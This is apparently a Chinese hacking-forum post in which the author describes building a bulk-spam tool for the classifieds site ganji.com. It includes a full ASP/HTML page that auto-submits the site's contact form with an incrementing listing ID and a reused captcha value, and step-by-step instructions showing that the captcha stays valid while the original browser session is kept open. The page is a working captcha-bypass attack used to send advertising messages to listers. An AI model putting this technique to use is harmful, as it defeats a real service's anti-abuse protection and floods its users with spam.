提外话: 要做ganji.com的群发,研究了一晚上的验证码以及与此相关的东东!最后是做出了群发的小软件!但效率并不怎么高!恰好看到邪八讨论SESSION的问题!开始我也跟所有人一样,认为nowthk的认识是错误的!恰好又无聊,就按照他的思路(不知道理解正确与否)来测试了一下!
目标测试地址:http://cs.ganji.com/service25d/07080413_2166.htm
第一步:打开后别关这个页面,记住验证码6333
然后我们自己来做一个自动提交的页面:
<HTML xmlns=”http://www.w3.org/1999/xhtml”><HEAD><TITLE>好房呢-赶集网 房产</TITLE>
<META http-equiv=Content-Type content=”text/html; charset=gb2312″>
<META content=没有什么 name=description><LINK href=”images/n-base.css” mce_href=”images/n-base.css”
type=text/css rel=stylesheet><LINK href=”images/n-top_bottom.css” mce_href=”images/n-top_bottom.css”
type=text/css rel=stylesheet><LINK href=”images/n-font_link.css” mce_href=”images/n-font_link.css”
type=text/css rel=stylesheet><LINK href=”images/n-postList_content.css” mce_href=”images/n-postList_content.css” type=text/css rel=stylesheet>
<!–保留当前页面session.为了快速看到效果,把id设为2166,刷新一次ID就自动+1–>
<%
if Session(”id”)=”” then
id=2166
else
id=Session(”id”)+1
end if
Session(”id”)=id
%>
<FORM name=contact action=http://cs.ganji.com//info/contact.php method=post target=_blank encType=multipart/form-data>
<DIV id=mailUserTitle>邮件联系发布人<FONT size=+0> <A name=contactAuthor></A></FONT></DIV>
<DIV id=mailUserContent>
<DIV><LABEL><B>* </B>您的E-mail:</LABEL>
<INPUT name=From id=From value=”hehe@163.com” size=25 maxLength=50>
<BR></DIV>
<DIV><LABEL>您的姓名:</LABEL>
<INPUT name=YourName id=YourName value=”hellokane” size=25 maxLength=50>
</div>
<div><LABEL>Sort:</LABEL>
<input name=”Sort” type=”text” id=”Sort” value=”service”>
</DIV>
<div><LABEL>ID:</LABEL>
<input name=”ID” type=”text” value=”<%=id%>” id=”ID”>
</DIV>
<div><LABEL>list_type:</LABEL>
<input name=”list_type” type=”text” value=”25″ id=”ID”>
</DIV>
<DIV><LABEL><B>* </B>内容:</LABEL>
<TEXTAREA id=Content name=Content rows=5 cols=25>看了你发布的信息,请你和我联系,我的QQ:xxxxx</TEXTAREA>
</DIV>
<DIV class=checkNumber><LABEL><B>* </B>验证码:</LABEL>
<INPUT id=vCode maxLength=4 value=”6333″ size=5 name=vCode><!–这是验证码的值一定要修改跟你打开页面的验证码一样。而且我
们只需要设置一次就OK!–>
<BR>
</DIV>
<DIV><LABEL> </LABEL> <INPUT class=button type=submit value=提交 name=Submit>
<INPUT class=button type=reset value=重填 name=reset111>
<INPUT style=”DISPLAY: none” type=hidden value=changsha name=City>
<INPUT style=”DISPLAY: none” type=hidden value=contact name=action>
</DIV></DIV></FORM>
</BODY></HTML>
第二步:用www.hunzi.org/ganji.asp访问! (请注意ID值的变化,以证明我们的SEESION保留还是消失)然后点提交
看到没有,成功回复了!
第三步:然后我们改动一下验证码!6334 ,再提交,验证码错误! (请注意ID值的变化)
第四步:然后我们关掉所有IE,重新打开www.hunzi.org/ganji.asp (请注意ID值的变化) 提交后验证码错误!
现在我来说明一下,不知道说的对不对,鸡蛋随便砸!
session并不是客户端的会话期间,而是浏览器打开关闭的过程。第二、四步说明了这个问题!
第一步打开的页面不要关闭,以及验证码不改变还有ID变化了,这些能成功提交说明,我们去伪造一个SESSION,保持与当前浏览页面SESSION同步是切实可行的。